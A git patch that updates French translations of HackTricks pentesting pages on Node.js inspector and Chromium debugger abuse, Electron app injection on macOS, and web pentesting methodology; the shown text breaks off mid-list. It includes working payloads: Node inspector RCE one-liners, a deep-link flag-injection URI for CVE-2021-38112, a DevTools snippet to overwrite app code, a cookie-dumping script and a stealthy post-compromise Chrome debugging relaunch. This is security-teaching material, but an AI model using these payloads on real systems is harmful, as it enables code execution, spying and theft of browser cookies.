From c40033a995e67f72d9aba8a79049387f35743487 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 27 Oct 2023 16:35:15 +0000 Subject: [PATCH] Translated ['linux-hardening/privilege-escalation/electron-cef-chromium- --- SUMMARY.md | 10 +- .../electron-cef-chromium-debugger-abuse.md | 84 +++-- .../macos-electron-applications-injection.md | 18 +- .../pentesting-web/README.md | 127 ++++--- .../electron-desktop-apps/README.md | 321 +++++++++++++++++ ...solation-rce-via-electron-internal-code.md | 77 ++++ .../electron-contextisolation-rce-via-ipc.md | 116 ++++++ ...n-contextisolation-rce-via-preload-code.md | 108 ++++++ .../xss-cross-site-scripting/README.md | 336 ++++++++---------- 9 files changed, 904 insertions(+), 293 deletions(-) create mode 100644 network-services-pentesting/pentesting-web/electron-desktop-apps/README.md create mode 100644 network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md create mode 100644 network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md create mode 100644 network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md diff --git a/SUMMARY.md b/SUMMARY.md index b9ac104f4..7bd0c9055 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -386,9 +386,12 @@ * [Buckets](network-services-pentesting/pentesting-web/buckets/README.md) * [Firebase Database](network-services-pentesting/pentesting-web/buckets/firebase-database.md) * [CGI](network-services-pentesting/pentesting-web/cgi.md) - * [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md) * [DotNetNuke (DNN)](network-services-pentesting/pentesting-web/dotnetnuke-dnn.md) * [Drupal](network-services-pentesting/pentesting-web/drupal.md) + * [Electron Desktop Apps](network-services-pentesting/pentesting-web/electron-desktop-apps/README.md) + * [Electron contextIsolation RCE via preload code](network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md) + * [Electron contextIsolation RCE via Electron internal code](network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md) + * [Electron contextIsolation RCE via IPC](network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md) * [Flask](network-services-pentesting/pentesting-web/flask.md) * [NodeJS Express](network-services-pentesting/pentesting-web/nodejs-express.md) * [Git](network-services-pentesting/pentesting-web/git.md) @@ -427,6 +430,7 @@ * [Python](network-services-pentesting/pentesting-web/python.md) * [Rocket Chat](network-services-pentesting/pentesting-web/rocket-chat.md) * [Special HTTP headers](network-services-pentesting/pentesting-web/special-http-headers.md) + * [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md) * [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md) * [Symfony](network-services-pentesting/pentesting-web/symphony.md) * [Tomcat](network-services-pentesting/pentesting-web/tomcat.md) @@ -438,10 +442,6 @@ * [WebDav](network-services-pentesting/pentesting-web/put-method-webdav.md) * [Werkzeug / Flask Debug](network-services-pentesting/pentesting-web/werkzeug.md) * [Wordpress](network-services-pentesting/pentesting-web/wordpress.md) - * [XSS to RCE Electron Desktop Apps](network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/README.md) - * [Electron contextIsolation RCE via preload code](network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md) - * [Electron contextIsolation RCE via Electron internal code](network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md) - * [Electron contextIsolation RCE via IPC](network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-ipc.md) * [88tcp/udp - Pentesting Kerberos](network-services-pentesting/pentesting-kerberos-88/README.md) * [Harvesting tickets from Windows](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md) * [Harvesting tickets from Linux](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md) diff --git a/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md b/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md index dea09abc7..aa5b2dbb3 100644 --- a/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md +++ b/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md @@ -1,11 +1,25 @@ +# Node inspector/CEF debug abuse + +
+ +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). + +
+ ## Informations de base -Lorsqu'il est lancé avec l'option `--inspect`, un processus Node.js écoute un client de débogage. Par **défaut**, il écoutera sur l'hôte et le port **`127.0.0.1:9229`**. Chaque processus se voit également attribuer un **UUID** **unique**. +Lorsqu'il est lancé avec l'option `--inspect`, un processus Node.js écoute un client de débogage. Par **défaut**, il écoute à l'adresse et au port **`127.0.0.1:9229`**. Chaque processus se voit également attribuer un **UUID** **unique**. Les clients de l'inspecteur doivent connaître et spécifier l'adresse de l'hôte, le port et l'UUID pour se connecter. Une URL complète ressemblera à quelque chose comme `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`. {% hint style="warning" %} -Étant donné que le **débogueur a un accès complet à l'environnement d'exécution Node.js**, un acteur malveillant capable de se connecter à ce port peut être en mesure d'exécuter du code arbitraire au nom du processus Node.js (**potentielle élévation de privilèges**). +Étant donné que le **débogueur a un accès complet à l'environnement d'exécution de Node.js**, un acteur malveillant capable de se connecter à ce port peut être en mesure d'exécuter du code arbitraire au nom du processus Node.js (**élévation potentielle des privilèges**). {% endhint %} Il existe plusieurs façons de démarrer un inspecteur : @@ -24,7 +38,7 @@ Lorsque vous démarrez un processus inspecté, quelque chose comme ceci apparaî Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d For help, see: https://nodejs.org/en/docs/inspector ``` -Les processus basés sur **CEF** (**Chromium Embedded Framework**) doivent utiliser le paramètre `--remote-debugging-port=9222` pour ouvrir le **débogueur** (les protections SSRF restent très similaires). Cependant, au lieu d'accorder une session de **débogage** **NodeJS**, ils communiqueront avec le navigateur en utilisant le [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), qui est une interface pour contrôler le navigateur, mais il n'y a pas de RCE direct. +Les processus basés sur **CEF** (**Chromium Embedded Framework**) doivent utiliser le paramètre : `--remote-debugging-port=9222` pour ouvrir le **débogueur** (les protections SSRF restent très similaires). Cependant, au lieu d'accorder une session de **débogage** **NodeJS**, ils communiqueront avec le navigateur en utilisant le [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), qui est une interface pour contrôler le navigateur, mais il n'y a pas de RCE direct. Lorsque vous démarrez un navigateur en mode débogage, quelque chose comme ceci apparaîtra : ``` @@ -32,7 +46,7 @@ DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4 ``` ### Navigateurs, WebSockets et politique de même origine -Les sites Web ouverts dans un navigateur Web peuvent effectuer des requêtes WebSocket et HTTP sous le modèle de sécurité du navigateur. Une **connexion HTTP initiale** est nécessaire pour **obtenir un identifiant de session de débogueur unique**. La **politique de même origine** **empêche** les sites Web de pouvoir effectuer **cette connexion HTTP**. Pour une sécurité supplémentaire contre les [**attaques de rebond DNS**](https://en.wikipedia.org/wiki/DNS\_rebinding)**,** Node.js vérifie que les **en-têtes 'Host'** pour la connexion spécifient soit une **adresse IP** ou **`localhost`** ou **`localhost6`** précisément. +Les sites web ouverts dans un navigateur web peuvent effectuer des requêtes WebSocket et HTTP dans le cadre du modèle de sécurité du navigateur. Une **connexion HTTP initiale** est nécessaire pour **obtenir un identifiant de session de débogueur unique**. La **politique de même origine** **empêche** les sites web de pouvoir effectuer **cette connexion HTTP**. Pour une sécurité supplémentaire contre les [**attaques de rebinding DNS**](https://en.wikipedia.org/wiki/DNS\_rebinding)**,** Node.js vérifie que les en-têtes **'Host'** de la connexion spécifient précisément une **adresse IP** ou **`localhost`** ou **`localhost6`**. {% hint style="info" %} Ces **mesures de sécurité empêchent l'exploitation de l'inspecteur** pour exécuter du code en **envoyant simplement une requête HTTP** (ce qui pourrait être fait en exploitant une vulnérabilité SSRF). @@ -40,7 +54,7 @@ Ces **mesures de sécurité empêchent l'exploitation de l'inspecteur** pour ex ### Démarrage de l'inspecteur dans les processus en cours d'exécution -Vous pouvez envoyer le **signal SIGUSR1** à un processus nodejs en cours d'exécution pour le faire **démarrer l'inspecteur** sur le port par défaut. Cependant, notez que vous devez avoir suffisamment de privilèges, cela pourrait vous accorder un **accès privilégié aux informations à l'intérieur du processus** mais pas une élévation de privilèges directe. +Vous pouvez envoyer le **signal SIGUSR1** à un processus nodejs en cours d'exécution pour lui faire **démarrer l'inspecteur** sur le port par défaut. Cependant, notez que vous devez disposer de suffisamment de privilèges, cela peut vous accorder un **accès privilégié aux informations à l'intérieur du processus** mais pas une élévation de privilèges directe. ```bash kill -s SIGUSR1 # After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d @@ -49,13 +63,13 @@ kill -s SIGUSR1 Ceci est utile dans les conteneurs car **arrêter le processus et en démarrer un nouveau** avec `--inspect` n'est **pas une option** car le **conteneur** sera **tué** avec le processus. {% endhint %} -### Se connecter à l'inspecteur/debugger +### Se connecter à l'inspecteur/débogueur -Si vous avez accès à un navigateur **basé sur Chromium**, vous pouvez vous connecter en accédant à `chrome://inspect` ou `edge://inspect` dans Edge. Cliquez sur le bouton Configure et assurez-vous que votre **hôte et port cible** sont répertoriés (trouvez un exemple dans l'image suivante de comment obtenir une RCE en utilisant l'un des exemples des sections suivantes). +Si vous avez accès à un navigateur basé sur Chromium, vous pouvez vous connecter en accédant à `chrome://inspect` ou `edge://inspect` dans Edge. Cliquez sur le bouton Configure et assurez-vous que votre **hôte et port cibles** sont répertoriés (trouvez un exemple dans l'image suivante sur la façon d'obtenir une RCE en utilisant l'un des exemples des sections suivantes). ![](<../../.gitbook/assets/image (620) (1).png>) -En utilisant la **ligne de commande**, vous pouvez vous connecter à un debugger/inspecteur avec: +À l'aide de la **ligne de commande**, vous pouvez vous connecter à un débogueur/inspecteur avec : ```bash node inspect : node inspect 127.0.0.1:9229 @@ -72,16 +86,16 @@ L'outil [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefde ./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')" ``` {% hint style="info" %} -Notez que les exploits **NodeJS RCE ne fonctionneront pas** s'ils sont connectés à un navigateur via le [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) (vous devez vérifier l'API pour trouver des choses intéressantes à faire avec). +Notez que les exploits **RCE de NodeJS ne fonctionneront pas** s'ils sont connectés à un navigateur via le [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) (vous devez vérifier l'API pour trouver des choses intéressantes à faire avec). {% endhint %} ## RCE dans le débogueur/inspecteur NodeJS {% hint style="info" %} -Si vous êtes venu ici pour savoir comment obtenir un **RCE à partir d'un XSS dans Electron**, veuillez consulter cette page.](../../network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/) +Si vous êtes ici pour savoir comment obtenir une **RCE à partir d'une XSS dans Electron**, veuillez consulter cette page.](../../network-services-pentesting/pentesting-web/electron-desktop-apps/) {% endhint %} -Voici quelques moyens courants d'obtenir un **RCE** lorsque vous pouvez vous **connecter** à un **inspecteur Node** en utilisant quelque chose comme (il semble que cela **ne fonctionnera pas dans une connexion au protocole Chrome DevTools**): +Voici quelques moyens courants d'obtenir une **RCE** lorsque vous pouvez vous **connecter** à un **inspecteur** Node en utilisant quelque chose comme (il semble que cela **ne fonctionnera pas avec une connexion au protocole Chrome DevTools**): ```javascript process.mainModule.require('child_process').exec('calc') window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe") @@ -90,44 +104,44 @@ Browser.open(JSON.stringify({url: "c:\\windows\\system32\\calc.exe"})) ``` ## Charges utiles du protocole Chrome DevTools -Vous pouvez vérifier l'API ici: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\ -Dans cette section, je vais simplement lister les choses intéressantes que j'ai trouvées et que les gens ont utilisées pour exploiter ce protocole. +Vous pouvez consulter l'API ici : [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\ +Dans cette section, je vais simplement répertorier les choses intéressantes que j'ai trouvées et que les gens ont utilisées pour exploiter ce protocole. ### Injection de paramètres via des liens profonds -Dans le [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/), Rhino Security a découvert qu'une application basée sur CEF **a enregistré un URI personnalisé** dans le système (workspaces://) qui a reçu l'URI complet, puis **a lancé l'application basée sur CEF** avec une configuration qui a été partiellement construite à partir de cet URI. +Dans le [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/), Rhino Security a découvert qu'une application basée sur CEF **enregistrait un URI personnalisé** dans le système (workspaces://) qui recevait l'URI complet, puis **lançait l'application basée sur CEF** avec une configuration partiellement construite à partir de cet URI. Il a été découvert que les paramètres de l'URI étaient décodés en URL et utilisés pour lancer l'application de base CEF, permettant à un utilisateur d'**injecter** le drapeau **`--gpu-launcher`** dans la **ligne de commande** et d'exécuter des choses arbitraires. -Ainsi, une charge utile comme: +Ainsi, une charge utile comme celle-ci : ``` workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE ``` -Exécuter un calc.exe. +Exécutera un calc.exe. ### Écraser des fichiers -Changer le dossier où les **fichiers téléchargés vont être sauvegardés** et télécharger un fichier pour **écraser** le **code source** fréquemment utilisé de l'application avec votre **code malveillant**. +Modifiez le dossier où les **fichiers téléchargés seront enregistrés** et téléchargez un fichier pour **écraser** le **code source** fréquemment utilisé de l'application avec votre **code malveillant**. ```javascript ws = new WebSocket(url); //URL of the chrome devtools service ws.send(JSON.stringify({ - id: 42069, - method: 'Browser.setDownloadBehavior', - params: { - behavior: 'allow', - downloadPath: '/code/' - } +id: 42069, +method: 'Browser.setDownloadBehavior', +params: { +behavior: 'allow', +downloadPath: '/code/' +} })); ``` -### RCE et exfiltration avec Webdriver +### Webdriver RCE et exfiltration -Selon cet article : [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148), il est possible d'obtenir une RCE et d'exfiltrer des pages internes à partir de Webdriver. +Selon cet article: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148), il est possible d'obtenir une RCE et d'exfiltrer des pages internes à partir de theriver. -### Post-exploitation +### Post-Exploitation -Dans un environnement réel et **après avoir compromis** un PC utilisateur qui utilise un navigateur basé sur Chrome/Chromium, vous pouvez lancer un processus Chrome avec le **débogage activé et le port de débogage porté en avant** pour y accéder. De cette façon, vous pourrez **inspecter tout ce que la victime fait avec Chrome et voler des informations sensibles**. +Dans un environnement réel et **après avoir compromis** un PC utilisateur utilisant un navigateur basé sur Chrome/Chromium, vous pouvez lancer un processus Chrome avec le **débogage activé et faire une redirection de port pour le port de débogage** afin d'y accéder. De cette manière, vous pourrez **inspecter tout ce que la victime fait avec Chrome et voler des informations sensibles**. -La manière furtive est de **terminer tous les processus Chrome** et ensuite d'appeler quelque chose comme +La méthode furtive consiste à **terminer tous les processus Chrome** puis à appeler quelque chose comme ```bash Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session" ``` @@ -148,14 +162,10 @@ Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session" ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! - -- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) - -- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md index fd680e636..350e111f7 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md @@ -72,7 +72,7 @@ Cependant, il y a actuellement 2 limitations : * L'autorisation **`kTCCServiceSystemPolicyAppBundles`** est **nécessaire** pour modifier une application, donc par défaut cela n'est plus possible. * Le fichier **`asap`** compilé a généralement les fusibles **`embeddedAsarIntegrityValidation`** et **`onlyLoadAppFromAsar`** activés -Ce qui rend ce chemin d'attaque plus compliqué (voire impossible). +Ce qui rend ce chemin d'attaque plus compliqué (ou impossible). {% endhint %} Notez qu'il est possible de contourner l'exigence de **`kTCCServiceSystemPolicyAppBundles`** en copiant l'application dans un autre répertoire (comme **`/tmp`**), en renommant le dossier **`app.app/Contents`** en **`app.app/NotCon`**, en **modifiant** le fichier **asar** avec votre code **malveillant**, en le renommant à nouveau en **`app.app/Contents`** et en l'exécutant. @@ -170,14 +170,24 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/ {% endcode %} {% hint style="danger" %} -Si le fusible **`EnableNodeCliInspectArguments`** est désactivé, l'application **ignorera les paramètres node** (comme `--inspect`) lors du lancement, sauf si la variable d'environnement **`ELECTRON_RUN_AS_NODE`** est définie, ce qui sera également **ignoré** si le fusible **`RunAsNode`** est désactivé. +Si le paramètre **`EnableNodeCliInspectArguments`** est désactivé, l'application **ignorera les paramètres node** (comme `--inspect`) lors du lancement, sauf si la variable d'environnement **`ELECTRON_RUN_AS_NODE`** est définie, ce qui sera également **ignoré** si le paramètre **`RunAsNode`** est désactivé. -Cependant, vous pouvez toujours utiliser le paramètre electron `--remote-debugging-port=9229`, mais la charge utile précédente ne fonctionnera pas pour exécuter d'autres processus. +Cependant, vous pouvez toujours utiliser le paramètre **`--remote-debugging-port=9229`** d'Electron, mais la charge utile précédente ne fonctionnera pas pour exécuter d'autres processus. {% endhint %} +En utilisant le paramètre **`--remote-debugging-port=9222`**, il est possible de voler certaines informations de l'application Electron, telles que l'**historique** (avec les commandes GET) ou les **cookies** du navigateur (car ils sont **décryptés** à l'intérieur du navigateur et qu'il existe un **point de terminaison json** qui les fournit). + +Vous pouvez apprendre comment faire cela [**ici**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) et [**ici**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) et utiliser l'outil automatique [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) ou un simple script comme suit : +```python +import websocket +ws = websocket.WebSocket() +ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00", suppress_origin=True) +ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}') +print(ws.recv() +``` ### Injection à partir du fichier Plist de l'application -Vous pouvez exploiter cette variable d'environnement dans un fichier Plist pour maintenir la persistance en ajoutant ces clés : +Vous pouvez exploiter cette variable d'environnement dans un fichier plist pour maintenir la persistance en ajoutant ces clés : ```xml ProgramArguments diff --git a/network-services-pentesting/pentesting-web/README.md b/network-services-pentesting/pentesting-web/README.md index 47d3ae718..75c73240f 100644 --- a/network-services-pentesting/pentesting-web/README.md +++ b/network-services-pentesting/pentesting-web/README.md @@ -4,7 +4,7 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** @@ -14,7 +14,7 @@ -**Astuce pour les primes de bug** : **inscrivez-vous** à **Intigriti**, une plateforme premium de **prime de bug créée par des pirates, pour des pirates** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $** ! +**Astuce pour les primes de bug** : **inscrivez-vous** sur **Intigriti**, une **plateforme premium de primes de bug créée par des pirates, pour des pirates** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $** ! {% embed url="https://go.intigriti.com/hacktricks" %} @@ -50,13 +50,13 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0 * [ ] Lancez des **scanners à usage général**. On ne sait jamais s'ils vont trouver quelque chose ou si ils vont trouver des informations intéressantes. * [ ] Commencez par les **vérifications initiales** : **robots**, **sitemap**, erreur **404** et analyse **SSL/TLS** (si HTTPS). * [ ] Commencez à **explorer** la page web : Il est temps de **trouver** tous les **fichiers, dossiers** et **paramètres** possibles utilisés. Vérifiez également les **découvertes spéciales**. -* [ ] _Notez que chaque fois qu'un nouveau répertoire est découvert lors d'une attaque par force brute ou d'une exploration, il doit être exploré._ +* [ ] _Notez qu'à chaque fois qu'un nouveau répertoire est découvert lors d'une attaque par force brute ou d'une exploration, il doit être exploré._ * [ ] **Attaque par force brute des répertoires** : Essayez de forcer par la méthode de force brute tous les répertoires découverts à la recherche de nouveaux **fichiers** et **répertoires**. -* [ ] _Notez que chaque fois qu'un nouveau répertoire est découvert lors d'une attaque par force brute ou d'une exploration, il doit être attaqué par force brute._ +* [ ] _Notez qu'à chaque fois qu'un nouveau répertoire est découvert lors d'une attaque par force brute ou d'une exploration, il doit être attaqué par force brute._ * [ ] **Vérification des sauvegardes** : Testez si vous pouvez trouver des **sauvegardes** des **fichiers découverts** en ajoutant des extensions de sauvegarde courantes. * [ ] **Attaque par force brute des paramètres** : Essayez de **trouver des paramètres cachés**. * [ ] Une fois que vous avez **identifié** tous les **points d'extrémité** possibles acceptant une **entrée utilisateur**, vérifiez toutes sortes de **vulnérabilités** qui y sont liées. -* [ ] [Suivez cette liste de contrôle](../../pentesting-web/web-vulnerabilities-methodology/) +* [ ] [Suivez cette liste de vérification](../../pentesting-web/web-vulnerabilities-methodology/) ## Version du serveur (Vulnérable ?) @@ -70,63 +70,62 @@ whatweb -a 3 #Aggresive webtech -u webanalyze -host https://google.com -crawl 2 ``` -Recherchez les **vulnérabilités de la version de l'application Web** [**ici**](../../generic-methodologies-and-resources/search-exploits.md). +Recherchez les vulnérabilités de la version de l'application web. -### **Vérifiez si un pare-feu d'application Web (WAF) est utilisé** +### Vérifiez si un WAF est utilisé -* [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f) -* [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) -* [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html) +* [https://github.com/EnableSecurity/wafw00f](https://github.com/EnableSecurity/wafw00f) +* [https://github.com/Ekultek/WhatWaf.git](https://github.com/Ekultek/WhatWaf.git) +* [https://nmap.org/nsedoc/scripts/http-waf-detect.html](https://nmap.org/nsedoc/scripts/http-waf-detect.html) -### Astuces techniques Web +### Astuces techniques web -Voici quelques **astuces** pour **trouver des vulnérabilités** dans différentes **technologies bien connues** utilisées : +Voici quelques astuces pour trouver des vulnérabilités dans différentes technologies bien connues : -* [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) -* [**Apache**](apache.md) -* [**Artifactory**](artifactory-hacking-guide.md) -* [**Buckets**](buckets/) -* [**CGI**](cgi.md) -* [**Drupal**](drupal.md) -* [**Flask**](flask.md) -* [**Git**](git.md) -* [**Golang**](golang.md) -* [**GraphQL**](graphql.md) -* [**H2 - Base de données SQL Java**](h2-java-sql-database.md) -* [**Astuces IIS**](iis-internet-information-services.md) -* [**JBOSS**](jboss.md) -* [**Jenkins**](broken-reference/) -* [**Jira**](jira.md) -* [**Joomla**](joomla.md) -* [**JSP**](jsp.md) -* [**Laravel**](laravel.md) -* [**Moodle**](moodle.md) -* [**Nginx**](nginx.md) -* [**PHP (php a beaucoup d'astuces intéressantes qui pourraient être exploitées)**](php-tricks-esp/) -* [**Python**](python.md) -* [**Spring Actuators**](spring-actuators.md) -* [**Symphony**](symphony.md) -* [**Tomcat**](tomcat.md) -* [**VMWare**](vmware-esx-vcenter....md) -* [**Test de pénétration de l'API Web**](web-api-pentesting.md) -* [**WebDav**](put-method-webdav.md) -* [**Werkzeug**](werkzeug.md) -* [**Wordpress**](wordpress.md) -* [**Electron Desktop (XSS to RCE)**](xss-to-rce-electron-desktop-apps/) +* [AEM - Adobe Experience Cloud](aem-adobe-experience-cloud.md) +* [Apache](apache.md) +* [Artifactory](artifactory-hacking-guide.md) +* [Buckets](buckets/) +* [CGI](cgi.md) +* [Drupal](drupal.md) +* [Flask](flask.md) +* [Git](git.md) +* [Golang](golang.md) +* [GraphQL](graphql.md) +* [H2 - Base de données SQL Java](h2-java-sql-database.md) +* [Astuces IIS](iis-internet-information-services.md) +* [JBOSS](jboss.md) +* [Jenkins](broken-reference/) +* [Jira](jira.md) +* [Joomla](joomla.md) +* [JSP](jsp.md) +* [Laravel](laravel.md) +* [Moodle](moodle.md) +* [Nginx](nginx.md) +* [PHP (php a 